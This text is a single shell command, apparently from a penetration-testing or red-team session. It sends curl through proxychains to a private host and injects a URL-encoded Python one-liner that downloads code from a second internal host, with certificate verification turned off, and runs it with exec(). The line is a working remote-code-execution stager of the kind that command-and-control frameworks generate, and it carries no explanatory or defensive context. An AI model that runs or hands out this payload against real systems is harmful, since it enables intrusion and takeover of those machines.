proxychains4 curl "http://192.168.20('python%20-c%20%22import%20sys;import%20ssl;u=__import__(\'urllib\'%2B{2:\'\',3:\'.request\'}[sys.version_info[0]],fromlist=(\'urlopen\',));r=u.urlopen(\'http://192.168.30\',context=ssl.create_unverified_context());exec(r.read());%22')"